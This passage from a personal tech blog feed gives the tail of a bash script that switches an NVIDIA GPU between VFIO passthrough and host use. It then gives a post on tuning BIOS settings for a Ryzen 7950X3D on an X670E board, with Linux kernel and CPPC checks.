</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_uvm
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_drm <span class="nv">modeset</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Bind devices</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Lock DRM nodes</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">000</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card0&#34;</span> 2&gt;/dev/null <span class="c1"># NVIDIA</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">660</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card1&#34;</span> 2&gt;/dev/null <span class="c1"># AMD</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Command Handlers </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">vm_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;nvidia&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> is_gui_session<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;   sudo systemctl stop gdm &amp;&amp; sudo nvidia-unlock&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Already in TTY - running nvidia-unlock...&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="o">[</span> -x <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">        sudo <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;❌ Error: nvidia-unlock not found at </span><span class="si">${</span><span class="nv">UNLOCK_SCRIPT</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;ℹ️  Make sure both scripts are in the same directory&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">      <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_vfio
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">host_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;🔄 Releasing vfio-pci binding...&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_nvidia_headless
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="o">&amp;&amp;</span> nvidia-smi
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Main </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">on<span class="o">)</span> vm_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">off<span class="o">)</span> host_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">status<span class="o">)</span> print_status <span class="p">;;</span>
</span></span><span class="line"><span class="cl">*<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Usage: </span><span class="nv">$0</span><span class="s2"> [on|off|status]&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  on     - Prepare GPU for VM (may require nvidia-unlock)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  off    - Enable NVIDIA for host (headless mode)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  status - Show current GPU status&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To run it it&rsquo;s the same thing: <code>nvidia-locker off</code> will lift the vfio-pci block and load the Nvidia drivers when I want to run an AI LLM natively on my Linux or render something in Blender with Cycles.</p>
<p>After I&rsquo;m done, and I want to run Windows in the VM. Ctrl-Alt-F3, fresh login on the plain text terminal, and <code>nvidia-locker on</code>. This will kill GDM, unload the NVIDIA drivers, reload the vfio-pci block and restart GDM so I can log back into graphical mode. And from there I can launch via the <code>virsh start</code> command or using the Virtual Machine Manager GUI if I want to use Display Spice, for example.</p>
<p>And that&rsquo;s it, the article is more so I don&rsquo;t forget what I did, to use as a reference in the future.</p>
]]></content:encoded><category>linux</category><category>hardware</category></item><item><title>BIOS Configuration of My PC - X670E Aorus Xtreme</title><link>https://www.akitaonrails.com/en/2025/04/17/bios-config-my-pc-x670e-aorus-xtreme/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2025/04/17/bios-config-my-pc-x670e-aorus-xtreme/</guid><pubDate>Thu, 17 Apr 2025 18:50:00 -0300</pubDate><description>&lt;p&gt;This is a note to myself, so I don&amp;rsquo;t forget, and maybe it helps someone else.&lt;/p&gt;
&lt;p&gt;I know every motherboard ships pre-configured with safe and conservative &amp;ldquo;defaults&amp;rdquo;, the most stable rather than the most performant. So if you don&amp;rsquo;t go into the BIOS to tweak things, you&amp;rsquo;re leaving performance on the table.&lt;/p&gt;
&lt;p&gt;I have an AMD Ryzen 9 7950X3D CPU. The processor is a package that works with two &amp;ldquo;dies&amp;rdquo;, I&amp;rsquo;m not sure if &amp;ldquo;chip&amp;rdquo; is a way to visualize it. Each one has 8 cores, totaling 16 cores, and each core has 2 threads, so 32 threads possible in parallel.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a note to myself, so I don&rsquo;t forget, and maybe it helps someone else.</p>
<p>I know every motherboard ships pre-configured with safe and conservative &ldquo;defaults&rdquo;, the most stable rather than the most performant. So if you don&rsquo;t go into the BIOS to tweak things, you&rsquo;re leaving performance on the table.</p>
<p>I have an AMD Ryzen 9 7950X3D CPU. The processor is a package that works with two &ldquo;dies&rdquo;, I&rsquo;m not sure if &ldquo;chip&rdquo; is a way to visualize it. Each one has 8 cores, totaling 16 cores, and each core has 2 threads, so 32 threads possible in parallel.</p>
<p>But there&rsquo;s a difference: each die has different L3 caches. One of the dies has only 32MB and the other has 96MB, so heavier programs benefit from running on the cores of the die with more L3, and you can configure that.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/gcbhrzj8wuc38z3lonisck0ooeck" alt="lstopo"  loading="lazy" /></p>
<p>Besides that, it has a base clock of about 3GHz with the ability to turbo boost up to 5.7GHz. They can&rsquo;t all run at that speed or it heats up too fast and may &ldquo;thermal throttle&rdquo;, and then it drops everything below 3GHz. That&rsquo;s why, especially in laptops that don&rsquo;t have adequate thermal capacity, the best option is not overclocking but &ldquo;undervolting&rdquo; (cutting power so it runs less fast). Because it&rsquo;s better for everyone to be a bit less fast than for everyone to be super fast and immediately overheat and slow everyone down. It&rsquo;s complex.</p>
<p>To complicate things further, I have 96GB of DDR5 6000 RAM. Capable of a theoretical maximum of 6GHz, but that&rsquo;s theoretical because everything can desync and cause instabilities up to a kernel panic crash. That&rsquo;s why the motherboard default is the base speed of about 4GHz and the CPU also maxing out at around 4GHz.</p>
<p>But you can push that up a bit without making it unstable. In short, here&rsquo;s what I did:</p>
<h2>PBO - Precision Boost Overdrive<span class="hx:absolute hx:-mt-20" id="pbo---precision-boost-overdrive"></span>
    <a href="#pbo---precision-boost-overdrive" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Ryzen CPUs have PBO to turbo boost the core clocks. It usually ships either disabled or in a conservative configuration, so your 5.7GHz CPU may be running at only 4GHz or less and never delivering its maximum.</p>
<p>To adjust this, if you want to get advanced, you need to tweak parameters like PPT (Package Power Tracking) to 200W or more. TDC (Thermal Design Current) to 160A or more. EDC (Electrical Design Current) to 200A or more. And you can set up a curve optimizer, per core, to negative (-10 or -20) to reduce voltage, which can allow higher boost clocks.</p>
<p>But this is very advanced, and you need to know a lot more about electrical stuff before
trying it. Better not risk it and not mess with this. On the screen below, don&rsquo;t leave it on Advanced, leave it on Auto:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/vxeurat4imakwzdl6artkzuqymmq" alt="PBO Advanced"  loading="lazy" /></p>
<p>Instead, it&rsquo;s better to mess with PBO Enhancement Presets, which is this screen below:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a1vgigv3ka64xs6nclq9z2hh21w7" alt="PBO Presets"  loading="lazy" /></p>
<p><strong>70/80/90</strong> refers to the maximum temperature we allow the cores to reach. This will depend on whether you have a good cooling solution. Whether it&rsquo;s an AIO with liquid cooling or a <a href="https://noctua.at/en/nh-d15-g2"target="_blank" rel="noopener"><strong>Noctua NH-D15 G2</strong></a>, which is what I use. Noctua fans are extremely silent, I almost never hear them, and they have less maintenance and lower failure potential than liquid cooling. I prefer fewer moving parts to be safe.</p>
<p>[<img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/4d10atf2k9rb5pntb9eec5uzqk7u" alt="Noctua NH-D15 G2"  loading="lazy" /></p>
<p>Now those <strong>Level 1 to 5</strong> are the PPT/TDC/EDC tunings I mentioned, but already pre-defined and tested by the manufacturer. 1 is less aggressive, the most stable, while 5 is the most aggressive and can be unstable. The right approach is to start at <strong>90 level 5</strong> and decrease until you find the most stable for your system. This will vary; for instance, the more RAM you have, the less aggressive it seems you can be, especially the faster that RAM is.</p>
<p>In my case, right at the boot of my Manjaro Linux, it gave a kernel panic, which looks something like this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/f25kqct9urmereleunhurknw40d4" alt="kernel panic"  loading="lazy" /></p>
<p>So I went back into the BIOS and tested different levels and, for my configuration, I could only get up to <strong>90 Level 2</strong>. This has been stable and so far I haven&rsquo;t had any random crashes.</p>
<p>Beyond that, recently (early 2025) motherboard manufacturers released firmware updates that opened access to a feature called <strong>X3D Turbo Mode</strong>. If you see this, don&rsquo;t think it&rsquo;s free extra performance. In reality, unless you use the machine more for games, you&rsquo;ll actually feel it got slower.</p>
<p>As I explained before, Ryzen 9 has 1 CCD (core complex), which is the die with 96MB of L3 cache (V-Cache). Turbo mode tries to force more programs onto the CCD that does <strong>NOT</strong> have V-Cache (the 32MB one), which can therefore reach a higher clock boost but has more latency. This is good for games, which usually don&rsquo;t benefit from having more cache but rather from more clock.</p>
<p>But at the same time, programs that need V-Cache will end up landing more often on the Core with <strong>LESS</strong> L3 cache and will then perform worse than before. Examples of that are 3D modeling programs like Blender, exactly what I want to use more now. So test it, but in principle you can leave it off.</p>
<p>This option in my firmware is called &ldquo;X3D Turbo Mode&rdquo; but elsewhere it may be &ldquo;3D V-Cache Performance Optimizer&rdquo;, same thing.</p>
<h2>XMP/EXPO RAM<span class="hx:absolute hx:-mt-20" id="xmpexpo-ram"></span>
    <a href="#xmpexpo-ram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now, DDR5 RAM boots at the base clock of about 4.8GHz. But depending on the RAM model, it can go much higher, in my case up to 6GHz. All modern memory also has several settings like frequency, latency, voltage, and more. Again, it&rsquo;s not worth trying to set these by hand. Better to use predefined profiles. Intel calls this support <strong>XMP</strong> and AMD calls it <strong>EXPO</strong>.</p>
<p>I forgot to take a photo of my BIOS, but this slightly older photo from Google Images is the same thing. XMP/EXPO ships disabled (conservative) but you just pick the profile that already exists:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ypwo0rsbr1bmu6w6ujm7b1qyjlof" alt="XMP/EXPO Profile"  loading="lazy" /></p>
<p>Note that just below there are things like <strong>Low Latency Support</strong> and <strong>High Bandwidth Support</strong>. Theoretically to reduce latency and increase transfer bandwidth. All of which sounds great, but in my case it doesn&rsquo;t work. If I try to enable both, my system doesn&rsquo;t boot. I was forced to clear the CMOS to reset the BIOS without that.</p>
<p>The problem: possibly too much memory (96GB). Maybe if you have less, around 32GB, this works, but it seems the more you have, the more unstable it gets if you try to go too fast.</p>
<p>Another problem, on DDR5, the more memory, the slower the Cold Boot, the initial boot when the PC was off. The BIOS has to do a check on the memory to ensure those parameters, response time and so on. And this happens on <strong>EVERY</strong> boot. It can take a few minutes and some people might even think the machine is frozen, but it&rsquo;s just that check.</p>
<p>In the BIOS there&rsquo;s an option called <strong>Memory Context Restore</strong> where it uses the parameters it recorded the last time it did that check. But I don&rsquo;t recommend it; for me it doesn&rsquo;t even boot anymore after enabling it. Theoretically it would cut down the check time and reuse old data, but that data may not match (the values can fluctuate) and that makes the whole system unstable. Better to wait an extra minute on boot than to live with an unstable system.</p>
<p>In advanced memory settings there&rsquo;s one more thing we should change: <strong>DF C-States</strong>, which needs to be <strong>DISABLED</strong>. In theory this feature is to reduce the latency between CPU and memory. But on systems with a lot of RAM (96GB or more like mine) this can also cause instability for not much noticeable gain. I prefer staying stable in this case.</p>
<p>Another setting to change is <strong>Power Supply Idle Control</strong>, which has to be set to &ldquo;Typical Current Idle&rdquo;, and so far (a firmware fix update may come), it&rsquo;s mandatory for Ryzen processors (even AM5). This prevents the &ldquo;Deep Power State&rdquo; sleep state, which can cause random kernel panics.</p>
<p>Same thing for <strong>Global C-State Control</strong>, which also needs to be disabled for the same reason: avoid &ldquo;deep sleep states&rdquo; (C6/C10) when the CPU sits in &ldquo;idle&rdquo; (doing nothing) for too long. These features exist to save energy, but it seems AMD has bugs when the CPU is forced into that state and when it wakes up, it comes back unstable or crashing. So it&rsquo;ll consume more energy when doing nothing (around less than 20W, rather than near zero), but at least it won&rsquo;t be unstable. If you want to save energy, the better option is to shut down and actually cut the power when not using it.</p>
<h2>BIOS Summary (for me)<span class="hx:absolute hx:-mt-20" id="bios-summary-for-me"></span>
    <a href="#bios-summary-for-me" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>PBO Enhancement: <strong>90 Level 2</strong> (clock boost slightly more aggressive than the default)</li>
<li>Power Supply Idle Control: <strong>Typical Current Idle</strong> (prevents the idle crash bug)</li>
<li>Global C-State Control: <strong>Disabled</strong> (avoids deep sleep, which causes instability)</li>
<li>DF C-States: <strong>Disabled</strong> (also avoids sleep, improving Infinity Fabric latency)</li>
<li>XMP/EXPO: <strong>Profile XMP1</strong> if you have it (raises the memory clock)</li>
</ul>
<p>There are 2 important things, especially if you&rsquo;re using discrete GPUs:</p>
<ul>
<li>Above 4G Decoding and Re-Size Bar Support. In my case both are on by default; if yours are off, turn them on.</li>
</ul>
<p>On Linux, you can check if it&rsquo;s enabled. Run the following:</p>
<p><code>sudo lspci -vv | grep -A 15 VGA</code></p>
<p>You should see &ldquo;Resizable BAR&rdquo; like this:</p>
<p><code>Capabilities: [XX] PCI Express, ... Resizable BAR: Supported (Enabled)</code></p>
<p>If it doesn&rsquo;t show up, go to the BIOS and look for it to enable. Without this you&rsquo;re not using the maximum of your video card. I think on iGPUs (which are GPUs already built into the CPU) this option doesn&rsquo;t exist.</p>
<h2>Linux-Zen Kernel<span class="hx:absolute hx:-mt-20" id="linux-zen-kernel"></span>
    <a href="#linux-zen-kernel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;ve always used the most stable LTS default kernel, currently Linux66, if I&rsquo;m not mistaken. But I remembered I can use the Zen kernel, which is the same default kernel Arch uses with performance tunings to improve latency, especially in multi-thread. It switches to the CFS scheduler with improvements. Theoretically, it improves overall system responsiveness. I think it&rsquo;s worth using. On Arch/Manjaro it&rsquo;s like this:</p>
<p><code>yay -S linux-zen-versioned-bin linux-zen-versioned-headers-bin</code></p>
<p>This will uninstall the old kernel and, if you&rsquo;re using NVIDIA GPUs, it&rsquo;ll also uninstall the driver package. So you also need to install the following package:</p>
<p><code>yay -S nvidia-dkms</code></p>
<p>And then, with everything installed, run the following command:</p>
<p><code>sudo dkms autoinstall</code></p>
<p>This will reinstall the nvidia driver binaries for the new Zen kernel. In Manjaro&rsquo;s case, you don&rsquo;t need to mess with GRUB because in my case it&rsquo;s set to <code>GRUB_DEFAULT=saved</code> in <code>/etc/default/grub</code>. That means when it reboots, it&rsquo;ll record which kernel I last chose, and on the next reboot, if I don&rsquo;t choose anything, it&rsquo;ll load again the last kernel I picked. I prefer it this way over hard-coding which kernel is the default.</p>
<p>Once that&rsquo;s done, on the next boot just check:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ uname -r
6.14.2-zen1-1-zen</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Another thing is to check if <strong>CPPC</strong> is active. That&rsquo;s <strong>Collaborative Processor Performance Control</strong>, a feature that exposes to the OS kernel a ranking of cores (which has the highest boost, which has more cache, etc). Remember the X3D Turbo Mode I mentioned earlier? Same concept: to help the OS pick which core to send each program to so it runs better.</p>
<p>Not every motherboard firmware exposes this as an option; in the case of my Gigabyte X670E, it doesn&rsquo;t exist. That probably means it&rsquo;s already on by default. To check if it&rsquo;s on, just go to the Linux terminal and run:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cat /sys/devices/system/cpu/cpu*/cpufreq/amd_pstate_highest_perf</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If it returns any result, it means it&rsquo;s on and the firmware is informing the kernel about the characteristics of each core, so the scheduler has more information to manage where to send each thread.</p>
<p>Another way to check:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>ls /sys/devices/system/cpu/cpu0/cpufreq/</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It needs to return a list containing names like these:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>amd_pstate_highest_perf
amd_pstate_nominal_perf
amd_pstate_preferred_core</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Which, again, is a sign that Linux is recognizing CPPC properly.</p>
<p>Manjaro itself, besides the stable kernels, has the &ldquo;linux-rt&rdquo; versions which are for real-time systems. Technically, this is meant not just for lower latency, but for stable and more predictable latencies. <strong>DO NOT USE THIS KIND OF KERNEL</strong>. This is for factory systems or things like that which need processing determinism and have no tolerance for random latency. It doesn&rsquo;t mean it&rsquo;ll run more responsively; it might even run slower, but the important thing is that it&rsquo;s a predictable slow.</p>
<p>Others might mention the <strong>Linux Liquorix</strong> kernel, which many compare to Zen. But while Zen is based on the same kernel Arch uses, Liquorix&rsquo;s is based on the Debian/Ubuntu version. So it&rsquo;s not recommended on Arch/Manjaro. On top of that it&rsquo;s more experimental and theoretically less stable too. Use it if you&rsquo;re on Ubuntu or derivatives. On Arch, better stick with Zen.</p>
<h2>check_ryzen_perf.sh<span class="hx:absolute hx:-mt-20" id="check_ryzen_perfsh"></span>
    <a href="#check_ryzen_perfsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you have a Ryzen system, copy the following script and run it on your machine:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🔍 Verifying Ryzen 7950X3D Tuning on Linux&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPU Driver: &#34;</span>
</span></span><span class="line"><span class="cl">grep . /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ EPP Mode: &#34;</span>
</span></span><span class="line"><span class="cl">cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPPC Detected: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_highest_perf <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Preferred Core Ranking: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_prefcore_ranking <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Running Kernel: &#34;</span>
</span></span><span class="line"><span class="cl">uname -r
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -e <span class="s2">&#34;\n✅ All key Linux-side Ryzen tuning options appear active.\n&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>On my machine it now produces this result:</p>
